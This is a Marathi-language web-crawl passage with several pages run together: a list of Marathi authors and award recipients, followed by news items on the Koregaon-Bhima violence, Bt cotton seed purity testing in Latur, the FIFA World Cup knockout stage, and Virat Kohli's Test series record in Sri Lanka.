दगडूशेठ हलवाई गणपती ट्रस्ट व्याख्यानमाला, कन्याकुमारी येथे विवेकानंद शिला स्मारक उभारण्यासाठी शीला स्मारक समिती वतीने देशभर व्याख्यानमालेचे आयोजन केले होते वगैरे.\nपुण्याची प्राचार्य शिवाजीराव भोसले स्मृती समिती दर वर्षी १५ जुलै रोजी त्यांच्या नावाचा स्मृती पुरस्कार प्रदान करते. आजवर हा पुरस्कार मिळालेल्या व्यक्ती :-. शिवशाहीर बाबासाहेब पुरंदरे (इ.स. २०१२), शास्त्रज्ञ डॉ. रघुनाथ माशेलकर (२०१३), साहित्यिक प्रा. द.मा. मिरासदार (२०१४), सामाजिक कार्यकर्त्या सिंधूताई सपकाळ (२०१५), डॉक्टर ह.वि. सरदेसाई (२०१६). फादर फ्रान्सिस दिब्रिटो (२०१७..\nजागर (खंड १ आणि २)\n· रुस्तुम अचलखांब · प्रल्हाद केशव अत्रे · अनिल अवचट · सुभाष अवचट · कृ.श्री. अर्जुनवाडकर · बाबुराव अर्नाळकर\n· लीना आगाशे · माधव आचवल · जगन्नाथ रघुनाथ आजगावकर · मंगला आठलेकर · शांताराम आठवले · बाबा आढाव · आनंद पाळंदे · नारायण हरी आपटे · मोहन आपटे · वामन शिवराम आपटे · विनीता आपटे · हरी नारायण आपटे · बाबा आमटे · भीमराव रामजी आंबेडकर · बाबा महाराज आर्वीकर\n· नागनाथ संतराम इनामदार · सुहासिनी इर्लेकर\n· निरंजन उजगरे · उत्तम कांबळे · शरद उपाध्ये · विठ्ठल उमप · प्रभाकर वामन उर्ध्वरेषे · उद्धव शेळके\n· एकनाथ · महेश एलकुंचवार\n· जनार्दन ओक ·\n· शिरीष कणेकर · वीरसेन आनंदराव कदम · कमलाकर सारंग · मधु मंगेश कर्णिक · इरावती कर्वे · रघुनाथ धोंडो कर्वे · अतुल कहाते · नामदेव कांबळे · अरुण कांबळे · शांताबाई कांबळे · अनंत आत्माराम काणेकर · वसंत शंकर कानेटकर · दत्तात्रय बाळकृष्ण कालेलकर · किशोर शांताबाई काळे · व.पु. काळे · काशीबाई कानिटकर · माधव विनायक किबे · शंकर वासुदेव किर्लोस्कर · गिरिजा कीर · धनंजय कीर · गिरीश कुबेर · कुमार केतकर · नरहर अंबादास कुरुंदकर · कल्याण कुलकर्णी · कृष्णाजी पांडुरंग कुलकर्णी · दत्तात्रेय भिकाजी कुलकर्णी · वामन लक्ष्मण कुलकर्णी · वि.म. कुलकर्णी · विजय कुवळेकर · मधुकर केचे · श्रीधर व्यंकटेश केतकर · भालचंद्र वामन केळकर · नीलकंठ महादेव केळकर · महेश केळुस्कर · रवींद्र केळेकर · वसंत कोकजे · नागनाथ कोत्तापल्ले · अरुण कोलटकर · विष्णु भिकाजी कोलते · श्रीपाद कृष्ण कोल्हटकर · श्री.के. क्षीरसागर · सुमति क्षेत्रमाडे · सुधा करमरकर\n· शंकरराव खरात · चांगदेव खैरमोडे · विष्णू सखाराम खांडेकर · नीलकंठ खाडिलकर · गो.वि. खाडिलकर · राजन खान · गंगाधर देवराव खानोलकर · चिंतामणी त्र्यंबक खानोलकर · संजीवनी खेर · गो.रा. खैरनार · निलीमकुमार खैरे · विश्वनाथ खैरे · चंद्रकांत खोत\n· अरविंद गजेंद्रगडकर · प्रेमानंद गज्वी · माधव गडकरी · राम गणेश गडकरी · राजन गवस · वीणा गवाणकर · अमरेंद्र गाडगीळ · गंगाधर गाडगीळ · नरहर विष्णु गाडगीळ · सुधीर गाडगीळ · लक्ष्मण गायकवाड · रामचंद्र भिकाजी गुंजीकर · वसंत नीलकंठ गुप्ते · अरविंद गोखले · दत्तात्रेय नरसिंह गोखले · मंदाकिनी गोगटे · शकुंतला गोगटे · अच्युत गोडबोले · नानासाहेब गोरे · पद्माकर गोवईकर ·\n· निरंजन घाटे · विठ्ठल दत्तात्रय घाटे · प्र.के. घाणेकर\n· चंद्रकांत सखाराम चव्हाण · नारायण गोविंद चापेकर · प्राची चिकटे · मारुती चितमपल्ली · विष्णुशास्त्री कृष्णशास्त्री चिपळूणकर · वामन कृष्ण चोरघडे · भास्कर चंदनशिव\n· बाळशास्त्री जांभेकर · नरेंद्र जाधव · सुबोध जावडेकर · शंकर दत्तात्रेय जावडेकर · रामचंद्र श्रीपाद जोग · चिंतामण विनायक जोशी · लक्ष्मणशास्त्री बाळाजी जोशी · वामन मल्हार जोशी · श्रीधर माधव जोशी · श्रीपाद रघुनाथ जोशी · जगदीश काबरे ·\n· अरूण टिकेकर · बाळ गंगाधर टिळक ·\n· विमला ठकार · उमाकांत निमराज ठोमरे ·\n· वसंत आबाजी डहाके\n· नामदेव ढसाळ · अरुणा ढेरे · रामचंद्र चिंतामण ढेरे ·\n· तुकाराम · तुकडोजी महाराज · दादोबा पांडुरंग तर्खडकर · गोविंद तळवलकर · शरद तळवलकर · लक्ष्मीकांत तांबोळी · विजय तेंडुलकर · प्रिया तेंडुलकर ·\n· सुधीर थत्ते ·\n· मेहरुन्निसा दलवाई · हमीद दलवाई · जयवंत दळवी · स्नेहलता दसनूरकर · गो.नी. दांडेकर · मालती दांडेकर · रामचंद्र नारायण दांडेकर · निळू दामले · दासोपंत · रघुनाथ वामन दिघे · दिवाकर कृष्ण · भीमसेन देठे · वीणा देव · शंकरराव देव · ज्योत्स्ना देवधर · निर्मला देशपांडे · कुसुमावती देशपांडे · गणेश त्र्यंबक देशपांडे · गौरी देशपांडे · पु.ल. देशपांडे · पुरुषोत्तम यशवंत देशपांडे · लक्ष्मण देशपांडे · सखाराम हरी देशपांडे · सरोज देशपांडे · सुनीता देशपांडे · शांताराम द्वारकानाथ देशमुख · गोपाळ हरी देशमुख · सदानंद देशमुख · मोहन सीताराम द्रविड ·\n· चंद्रशेखर शंकर धर्माधिकारी · मधुकर धोंड ·\n· किरण नगरकर · शंकर नारायण नवरे · गुरुनाथ नाईक · ज्ञानेश्वर नाडकर्णी · जयंत विष्णू नारळीकर · नारायण धारप · निनाद बेडेकर · नामदेव\n· पंडित वैजनाथ · सेतुमाधवराव पगडी · युसुफखान महम्मदखान पठाण · रंगनाथ पठारे · शिवराम महादेव परांजपे · गोदावरी परुळेकर · दया पवार · लक्ष्मण रामचंद्र पांगारकर · विश्वास पाटील · शंकर पाटील · विजय वसंतराव पाडळकर · स्वप्ना पाटकर · प्रभाकर आत्माराम पाध्ये · प्रभाकर नारायण पाध्ये · गंगाधर पानतावणे · सुमती पायगावकर · रवींद्र पिंगे · द्वारकानाथ माधव पितळे · बळवंत मोरेश्वर पुरंदरे · केशव जगन्नाथ पुरोहित · शंकर दामोदर पेंडसे · प्रभाकर पेंढारकर · मेघना पेठे · दत्तो वामन पोतदार · प्रतिमा इंगोले · गणेश प्रभाकर प्रधान · दिलीप प्रभावळकर · सुधाकर प्रभू · अनंत काकबा प्रियोळकर ·\n· निर्मलकुमार फडकुले · नारायण सीताराम फडके · यशवंत दिनकर फडके · नरहर रघुनाथ फाटक · फादर दिब्रिटो · बाळ फोंडके ·\n· अभय बंग · आशा बगे · श्रीनिवास नारायण बनहट्टी · बाबूराव बागूल · रा.रं. बोराडे · सरोजिनी बाबर · बाबुराव बागूल · विद्या बाळ · मालती बेडेकर · विश्राम बेडेकर · दिनकर केशव बेडेकर · वासुदेव श्रीपाद बेलवलकर · विष्णू विनायक बोकील · मिलिंद बोकील · शकुंतला बोरगावकर ·\n· रवींद्र सदाशिव भट · बाबा भांड · लीलावती भागवत · पुरुषोत्तम भास्कर भावे · विनायक लक्ष्मण भावे · आत्माराम भेंडे · केशवराव भोळे · द.ता. भोसले · शिवाजीराव भोसले ·\n· रमेश मंत्री · रत्नाकर मतकरी · श्याम मनोहर · माधव मनोहर · ह.मो. मराठे · बाळ सीताराम मर्ढेकर · गंगाधर महांबरे · आबा गोविंद महाजन · कविता महाजन · नामदेव धोंडो महानोर · श्रीपाद महादेव माटे · गजानन त्र्यंबक माडखोलकर · व्यंकटेश दिगंबर माडगूळकर · लक्ष्मण माने · सखाराम गंगाधर मालशे · गजमल माळी · श्यामसुंदर मिरजकर · दत्ताराम मारुती मिरासदार · मुकुंदराज · बाबा पदमनजी मुळे · केशव मेश्राम · माधव मोडक · गंगाधर मोरजे · लीना मोहाडीकर · विष्णु मोरेश्वर महाजनी ·\n· रमेश मंत्री · विश्वनाथ काशिनाथ राजवाडे · विजया राजाध्यक्ष · मंगेश विठ्ठल राजाध्यक्ष · रावसाहेब कसबे · रुस्तुम अचलखांब · पुरुषोत्तम शिवराम रेगे · सदानंद रेगे ·\n· शरणकुमार लिंबाळे · लक्ष्मण लोंढे · गोपाळ गंगाधर लिमये ·\n· तारा वनारसे · विठ्ठल भिकाजी वाघ · विजया वाड · वि.स. वाळिंबे · विनायक आदिनाथ बुवा · सरोजिनी वैद्य · चिंतामण विनायक वैद्य ·\n· मनोहर शहाणे · ताराबाई शिंदे · फ.मुं. शिंदे · भानुदास बळिराम शिरधनकर · सुहास शिरवळकर · मल्लिका अमर शेख · त्र्यंबक शंकर शेजवलकर · उद्धव शेळके · शांता शेळके · राम शेवाळकर ·\n· प्रकाश नारायण संत · वसंत सबनीस · गंगाधर बाळकृष्ण सरदार · त्र्यंबक विनायक सरदेशमुख · अण्णाभाऊ साठे · अरुण साधू · राजीव साने · बाळ सामंत · आ.ह. साळुंखे · गणेश दामोदर सावरकर · विनायक दामोदर सावरकर · श्रीकांत सिनकर · प्रल्हाद ईरबाजी सोनकांबळे · समर्थ रामदास स्वामी · दत्तात्रेय गणेश सारोळकर\nस्वच्छता आवश्यक असणारी सर्व पाने\nयेथे काय जोडले आहे\nया पानातील शेवटचा बदल २० ऑगस्ट २०१८ रोजी १३:३८ वाजता केला गेला.\nयेथील मजकूर हा क्रियेटीव्ह कॉमन्स अट्रीब्युशन/शेअर-अलाईक लायसन्स या अंतर्गत उपलब्ध आहेत;अतिरिक्त अटी लागू असू शकतात. अधिक माहितीसाठी हे बघा वापरण्याच्या अटी.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00358.warc.wet.gz", "language": "mr", "language_score": 0.85, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/Koregaon-bhima-conflict-issue-sate-government-pay-all-damages-every-guilty-person-will-punish-said-CM-devendra-phadanvis/", "date_download": "2018-09-25T16:52:34Z", "digest": "sha1:55APH4ZK6ES25UMHQ5FABU6MHSGYBUM6", "length": 5126, "nlines": 34, "source_domain": "www.pudhari.news", "title": " कोरेगाव-भीमा प्रकरणी जात,धर्म बघणार नाही : CM | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › कोरेगाव-भीमा प्रकरणी जात,धर्म बघणार नाही : CM\nकोरेगाव-भीमा प्रकरणी जात,धर्म बघणार नाही : CM\nकोरेगाव-भीमा येथे घडलेली घटना दुर्दैवी असून त्याचे कुणीच समर्थन करणार नाही. या घटनेस जबाबदार असणाऱ्यावर कठोर कारवाई करण्यात येईल. या घटनेत सर्वच समाजातील लोकांचे मोठ्या प्रमाणात नुकसान झाले असून त्याची सर्व भरपाई राज्य सरकार देईल. बंदच्या काळातील सर्व गुन्हे मागे घेण्यात येतील. जाणीवपूर्वक ज्यांनी लूटमार केली त्या सराईत गुन्हेगारांवर निश्चितच कारवाई करण्यात येईल अशी घोषणा मुख्यमंत्री देवेंद्र फडणवीस यांनी विधानपरिषदेत केली. या घटनेशी संबंधित प्रकरणातील अधिक चौकशीसाठी मिलिंद एकबोटे यांची कस्टोडीयन इंटोग्रेशन करण्याची परवानगी मिळावी यासाठी राज्य सरकार ॲटर्नी जनरल मार्फत सर्वोच्च न्यायालयात प्रयत्न करत असल्याचे त्यांनी स्पष्ट केले.\nकोरे-भीमा प्रकरणात जात, धर्म पाहून कुणावर कारवाई केली जाणार किंवा कुणाला पाठीशी घालणार नाही. या प्रकरणात जे दोषी असतील त्यांच्यावर कारवाई करण्यात येईल. एकबोटे यांना वाचविण्याचा प्रश्नच उद्भवत नाही. त्यांना अटक करण्यासाठी पुणे, कोल्हापूर येथे काँबिग ऑपरेशन करण्यात आले. उत्तर प्रदेश, मध्यप्रदेश मध्ये शोध घेतला तसेच त्यांचे जवळचे नातेवाईक व 100 फोन नंबरची तपासणी करण्यात आल्याचे मुख्यमंत्री म्हणाले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00359.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.agrowon.com/agriculture-news-marathi-bt-cotton-purity-test-doing-latur-maharashtra-8660", "date_download": "2018-09-25T17:54:43Z", "digest": "sha1:G3GXUXQTYHQ6G4VQFLRPBQHOWFPDXUUT", "length": 16708, "nlines": 149, "source_domain": "www.agrowon.com", "title": "agriculture news in marathi, bt cotton purity test doing in latur, maharashtra | Agrowon", "raw_content": "\nAgrowon च्या बातम्यांसाठी सबस्क्राईब करा\nAgrowon च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n‘बीटी’ बियाण्याची लातूर येथे होणार अनुवंशिक शुद्धता पडताळणी\n‘बीटी’ बियाण्याची लातूर येथे होणार अनुवंशिक शुद्धता पडताळणी\nसोमवार, 28 मे 2018\nपरभणी ः वसंतराव नाईक मराठवाडा कृषी विद्यापीठअंतर्गत लातूर येथील कृषी जैवतंत्र महाविद्यालयाच्या प्रयोगशाळेमध्ये कपाशीच्या बीटी तसेच नाॅन बीटी बियाण्याची अनुवंशिक शुद्धता (डीएनए फिंगर प्रिंटिंग) पडताळणी करण्यासाठी कृषी आयुक्तालयाने मान्यता दिली आहे. यामुळे कपाशीच्या बियाण्यातील भेसळ तसेच बोगस बियाणे ओळखण्यास मदत होणार आहे. वाणांचा दर्जा राखण्याच्या दृष्टीने हे महत्त्वाचे पाऊल आहे, अशी माहिती कुलगुरू डाॅ. बी. व्यंकटेश्वलू यांनी दिली.\nपरभणी ः वसंतराव नाईक मराठवाडा कृषी विद्यापीठअंतर्गत लातूर येथील कृषी जैवतंत्र महाविद्यालयाच्या प्रयोगशाळेमध्ये कपाशीच्या बीटी तसेच नाॅन बीटी बियाण्याची अनुवंशिक शुद्धता (डीएनए फिंगर प्रिंटिंग) पडताळणी करण्यासाठी कृषी आयुक्तालयाने मान्यता दिली आहे. यामुळे कपाशीच्या बियाण्यातील भेसळ तसेच बोगस बियाणे ओळखण्यास मदत होणार आहे. वाणांचा दर्जा राखण्याच्या दृष्टीने हे महत्त्वाचे पाऊल आहे, अशी माहिती कुलगुरू डाॅ. बी. व्यंकटेश्वलू यांनी दिली.\nबीटी कपाशी बियाण्यातील भेसळीमुळे गुलाबी बोंड अळीचा प्रादुर्भाव होऊन शेतकऱ्यांचे मोठे नुकसान होत आहे. अनुवंशिक शुद्धता पडताळणीमुळे बीटी तसेच नाॅन बीटी कपाशीच्या बियाणातील बेसळ, बोगस बियाणे ओळखता येते. त्यादृष्टीने कृषी आयुक्तालयाने लातूर येथील कृषी जैवतंत्र महाविद्यालयातील प्रयोगशाळेमध्ये कपाशी वाणांच्या बियाण्याची अनुवंशिक शुद्धता पडताळणीसाठी यंदा मान्यता दिली आहे.\nत्यासाठी बियाणे उत्पादक कंपनीकडून कपाशीच्या वाणांचा अनुवंशिक डाटा, वाण तसेच त्यांचे दोन पॅरेंट असे एकूण तीन बियाणे नमुने घेतले जात आहेत. आजवर महाराष्ट्र, मध्य प्रदेश, आंध्र प्रदेश या राज्यातील बीटी कापूस बियाणे उत्पादक १५ कंपन्यांनी सुमारे ३५० बियाणे नमुने प्रयोगशाळेकडे जमा केले आहेत.\nपडताळणीनंतर बियाणे उत्पादक कंपनीला प्रमाणपत्र दिले जाणार आहे. त्यानंतर बियाणे विक्री करता येईल. पडताळणीमुळे बियाणे उत्पादक कंपन्यांकडून केले जाणारे तंत्रज्ञान चोरी तसेच फसवेगिरीचे प्रकार उघडकीस येऊ शकतात.\nकपाशीच्या बीटी, नाॅन बीटी सर्व वाणांचा जनुकीय नकाशा तयार केला जाणार आहे. तूर्त कपाशीच्या बियाण्याची पडताळणी केली जात असली, तरी आगामी काळत अन्य पिकांचीदेखील पडताळणी केली जाऊ शकते. सद्यःस्थितीत कृषी विभागाकडे जैवतंत्रज्ञ कृषी अधिकाऱ्यांची कमतरता आहे. त्यामुळे प्रत्येक जिल्ह्यामध्ये जैवतंत्रज्ञान पदवीधरांची बियाणे गुणवत्ता निरीक्षक म्हणून नियुक्त करणे आवश्यक आहे असे लातूरच्या कृषी जैवतंत्र महाविद्यालयाचे प्राचार्य हेमंत पाटील यांनी सांगितले.\nलातूर डीएनए बोंड अळी कापूस\nबच्चू कडूंच्या नेतृत्वाखाली एमपीएससी...\nपुणे : स्पर्धा परीक्षांची तयारी करणाऱ्या विद्यार्थ्यांच्या विविध मागण्यांसाठी येत्या 27 स\nजिल्हा परिषदेतील कृषी अधिकारी यांना राजपत्रित...\nमुंबई : जिल्हा परिषदेतील कृषी अधिकारी (गट-क, तांत्रिक) हे प\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिर\nजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात स्थिर राहिले.\nकळमणा बाजारात सोयाबीनच्या दरात वाढ\nनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा बाजार समितीत इतर शेतीमालाचे भाव स्थिर हो\nकोल्हापुरात फळांची आवक मंदावली, मागणीतही घट\nकोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या सप्ताहात टोमॅटोच्या आवकेत वाढ कायम होती.\nजळगाव जिल्ह्यात नवती केळीचे दर स्थिरजळगाव ः जिल्ह्यात नवती केळीचे दर मागील आठवड्यात...\nकोल्हापुरात फळांची आवक मंदावली,...कोल्हापूर : येथील कृषी उत्पन्न बाजार समितीत या...\nकळमणा बाजारात सोयाबीनच्या दरात वाढनागपूर ः सोयाबीनच्या दरात अल्पशी वाढ वगळता कळमणा...\nनाशिकला टोमॅटोची आवक वाढली; कांदा,...नाशिक : नाशिक बाजार समितीत गतसप्ताहात टोमॅटोची...\nकपाशीतील किडींचे एकात्मिक नियंत्रणसध्या कपाशीचे पीक पाते, फुले व बोंड लागण्याच्या...\nसांगली जिल्ह्यात सेंद्रिय शेतमालाला हवी...सांगली जिल्ह्यामध्ये सेंद्रिय शेतीमाल विक्री...\nनाशिक जिल्ह्यात सेंद्रिय शेतीची वाटचाल...नाशिक जिल्ह्यात सेंद्रिय शेतीचे तीन वर्षांपूर्वी...\nनाशिक, निफाड कारखाना भाड्याने देण्याचा...नाशिक : कर्जबाजारी व आर्थिक डबघाईमुळे गेल्या काही...\nअकोला, बुलडाण्यात पीक कर्जवाटप ३०...अकोला ः शेतकऱ्यांना खरीप हंगामासाठी पीक...\nगोंदियातील कृषी सेवा केंद्रे लावणार...गोंदिया ः जमिनीची गरज ओळखूनच खताची मात्रा...\nसाताऱ्यात पावसाअभावी पिके करपू लागलीसातारा : जिल्ह्यात सुमारे एक महिन्यापासून...\nनगर जिल्ह्यात पावसाअभावी कांदा लागवड...नगर ः जिल्हाभरात पावसाअभावी कांदालागवड...\nवाशीममध्ये रब्बीत हरभऱ्याचे क्षेत्र...वाशीम ः या हंगामात जिल्ह्यात चांगला पाऊस...\nखरेदी केंद्र सुरू करण्याच्या मागणीसाठी...सातारा : शेतीमाल खरेदी केंद्रे त्वरित सुरू...\nसंघर्ष गोकुळ ‘मल्टिस्टेट’चाकोल्हापूर जिल्हा दूध संघ (गोकुळ) मल्टिस्टेट...\n'दारुमुळे दरवर्षी अडीच लाखापेक्षा जास्त...नवी दिल्ली- दारूमुळे दरवर्षी जवळपास अडीच...\nजालन्यात पाण्यात बुडून तिघांचा मृत्यूजालना : गणपती बाप्पांचे विसर्जन करताना जालना...\nशिखर, रोहितने पाकला धुतले; भारत अंतिम...दुबई : पाकिस्तानने उभारलेल्या 237 धावांचा सहजी...\nखानदेशात मध्यम पाऊस; नंदुरबारला हुलकावणीजळगाव : खानदेशात शुक्रवारी (ता.२१) मध्यरात्री व...\nपुणे जिल्ह्यात ढगाळ हवामानपुणे : जिल्ह्यात आठवड्याच्या सुरवातीला...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00360.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://divyamarathi.bhaskar.com/news/SPO-SOTH-LCL-fifa-world-cup-news-update-5906450-NOR.html", "date_download": "2018-09-25T16:58:38Z", "digest": "sha1:OZ2OYQS5DLYRLNXUPTQIVAQZW2GQDLBN", "length": 12267, "nlines": 152, "source_domain": "divyamarathi.bhaskar.com", "title": "FIFA world cup news update | उपांत्यपूर्व फेरीत लियाेनेल मेसी-राेनाल्डाेची हाेऊ शकेल लढत; स्पेन व इंग्लंडचा साेपा ड्राॅ", "raw_content": "\nदिव्य मराठी विशेष मधुरिमा\nमधुरिमा रसिक जोक्स हेल्थ-लाइफस्टाइल\nउपांत्यपूर्व फेरीत लियाेनेल मेसी-राेनाल्डाेची हाेऊ शकेल लढत; स्पेन व इंग्लंडचा साेपा ड्राॅ\nगत चॅम्पियन जर्मनी संघाला झटपट पॅकअप करावे लागल्याने अाता यंदाच्या विश्वचषक फुटबाॅल स्पर्धेत विजेता हाेण्यासाठी समीकरण ज\nमाॅस्काे- गत चॅम्पियन जर्मनी संघाला झटपट पॅकअप करावे लागल्याने अाता यंदाच्या विश्वचषक फुटबाॅल स्पर्धेत विजेता हाेण्यासाठी समीकरण जुळवण्याला सुरुवात झाली. यातूनच माजी विजेत्यांनी अापला दावा केला. दुसरीकडे नवख्या संघांनी याकडे अागेकूच करण्याचे संकेत दिले. त्यामुळेच अाता प्री-क्वार्टर फायनलच्या सामन्यांचा हा टप्पा अधिक रंगतदार हाेण्याचे चित्र अाहे. अाता शनिवारपासून अंतिम १६ मधील सामन्यांना सुरुवात हाेईल. यात एकूण ३२ पैकी १६ संघांनी धडक मारली. यामध्ये युराेपातील सर्वाधिक १० संघांचा समावेश अाहे. तसेच चार संघ दक्षिण अमेरिका, प्रत्येकी एक अाशिया अाणि उत्तर अमेरिकेचा अाहे. अाता या फेरीच्या दरम्यान हाेणाऱ्या लढतीमुळे अागामी अंतिम ८ मध्ये क्रिस्टियानाे राेनाल्डाे अाणि लियाेनेल मेसी समाेरासमाेर येण्याची शक्यता अाहे. पाेर्तुगाल अाणि अर्जेंटिनामध्ये उपांत्यपूर्व सामना हाेण्याची शक्यता अाहे.\nशनिवारी चार बलाढ्य संघांतील सामन्याने हाेणार अाहे. त्यामुळे सुरुवातीचे हे दाेन्ही सामने हाय हाेल्टेज मानले जात अाहेत. लियाेनेल मेसीचा सामना अाता ग्रिजमॅनशी हाेईल. अर्जेंटिना अाणि फ्रान्स यांच्यात सामना रंगणार अाहे.\nसहा माजी चॅम्पियन : अंतिम १६ मध्ये एकूण १६ संघांनी प्रवेश केला. यात सहा माजी चॅम्पियन संघांचा समावेश अाहे. यात दाेन वेळच्या विजेत्या उरुग्वे, पाच वेळच्या विश्वविजेत्या ब्राझील, फ्रान्स, स्पेन, अर्जेंटिना अाणि इंग्लंड संघ सहभागी अाहेत. त्यामुळे या सहा संघांतील सामने हे चाहत्यांसाठी माेठी पर्वणीच ठरणार अाहे.\nइंग्लंड, स्पेनला जेतेपदाची माेठी संधी\nइंग्लंड अाणि स्पेन संघाला यंदाच्या विश्वचषकाच्या अंतिम फेरीचा पल्ला गाठण्याची माेठी संधी अाहे. मात्र, त्यासाठी या दाेन्ही संघांना काहीसे अडसर यशस्वीपणे दूर करावे लागतील. या दाेन्ही संघांसाठी पुढच्या फेरीतील ड्राॅ साेपा अाहे. इंग्लंडचा सामना अाता काेलंबियाशी हाेईल. यातील विजयाने इंग्लंडचा पुढचा सामना स्वित्झर्लंड अाणि स्वीडन यांच्याताील विजेत्या टीमशी हाेऊ शकेल. दुसरीकडे स्पेनलाही असाच साेपा मार्ग अाहे. स्पेनसमाेरही नवखे संघ असतील.\nफिफाच्या नियमानुसार क्वार्टर फायनल सामन्यापूर्वी खेळाडूला दाेन वेळा यलाे कार्ड दाखवण्यात अाले, तर त्याच खेळाडूला पुढच्या फेरीत कार्ड मिळाले. तर त्याच्यावर एका सामन्याच्या बंदीची कारवाई हाेऊ शकेल. म्हणजेच अंतिम अाठमधील सामन्यादरम्यानच्या गैरवर्तनाने या खेळाडूंना उपांत्य सामन्याला मुकावे लागेल.\nमेसी, राेनाल्डाे, नेमारवर निलंबनाची टांगती तलवार\nपुढच्या फेरीतील प्रवेशासाठी सध्या अर्जेंटिना, पाेर्तुगाल अाणि ब्राझील संघाचे प्रशिक्षक डावपेच अाखत अाहेत.मात्र, दुसरीकडे या तिन्ही टीमच्या हुकमी एक्क्यावर अाता वेगळेच संकट अाेढावण्याचे चित्र अाहे. अर्जेंटिनाच्या मेसी, पाेर्तुगालच्या राेनाल्डाे अाणि ब्राझीलच्या नेमावर अाता सेमीफायनलपूर्वीच निलंबन हाेण्याची टांगती तलवार अाहे. कारण, या तिन्ही खेळाडूंना अातापर्यंत प्रत्येकी दाेन वेळा यलाे कार्ड दाखवण्यात अाले. त्यामुळेच अाता पुढच्या सामन्यातील गैरवर्तन या तिन्ही खेळाडूंच्या अंगलट येण्याची शक्यता अाहे. मेसीला नायजेरिया अाणि फ्रान्सविरुद्ध सामन्यादरम्यान हे कार्ड दाखवण्यात अाले. तसेच राेनाल्डाेलाही दाेन वेळचे गैरवर्तन महागात पडले.\nचॅम्प अाेसाकाने रचला इतिहास; सेरेनाने खेळला वादाचा सामना\nUS Open: ओसाका यूएस ग्रँडस्लॅम जिंकणारी पहिली जपानी महिला; सेरेनाने रॅकेट आपटला, अंपायरवर लावले आरोप\nAsian Games: आंतरराष्ट्रीय मेडल जिंकून देशात परतला, तिसऱ्याच दिवशी टपरीवर चहा विकतोय हा खेळाडू; म्हणाला, दोन्ही बहिणी दृष्टीहीन, वडिलांची मदत करणे आवश्यक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00360.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://mahasports.co.in/virat-kohli-28y-282d-is-second-youngest-captain-to-clean-sweep-an-away-series-min-3-tests-youngest/", "date_download": "2018-09-25T17:48:30Z", "digest": "sha1:TSIFQNPUBN7IW6EKN7BE3PCVAYXIN62E", "length": 5931, "nlines": 58, "source_domain": "mahasports.co.in", "title": "परदेशात व्हाइट वॉश देणारा विराट कोहली हा दुसरा सर्वात तरुण कर्णधार -", "raw_content": "\nपरदेशात व्हाइट वॉश देणारा विराट कोहली हा दुसरा सर्वात तरुण कर्णधार\nपरदेशात व्हाइट वॉश देणारा विराट कोहली हा दुसरा सर्वात तरुण कर्णधार\nपल्लेकेल: भारतीय क्रिकेट संघाने आज श्रीलंका संघाला कसोटी मालिकेत व्हाईट वॉश देताना ३-० अशी पराभवाची धूळ चारली. भारतीय संघाने परदेशात प्रथमच एखाद्या संघाला ३-० असे कसोटी मालिकेत पराभूत केले आहे.\nयाबरोबर विराटने एका खास विक्रमला गवसणी घातली आहे. परदेशात व्हाइट वॉश देणारा (कमीतकमी ३ कसोटी )विराट कोहली हा दुसरा सर्वात तरुण कर्णधार आहे. त्याने अशी कामगिरी २८ वर्ष आणि २८२ दिवसांचा असताना केली आहे.\nयापूर्वी इंग्लंडच्या टेड डेक्स्टरने २७ वर्ष आणि ३०८ दिवसांचा असताना न्युझीलंड संघाला १९६३ साली व्हाइट वॉश दिला होता.\nअखेर रविंद्र जडेजाने तो सचिन तेंडुलकरचा विक्रम मोडलाच\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप 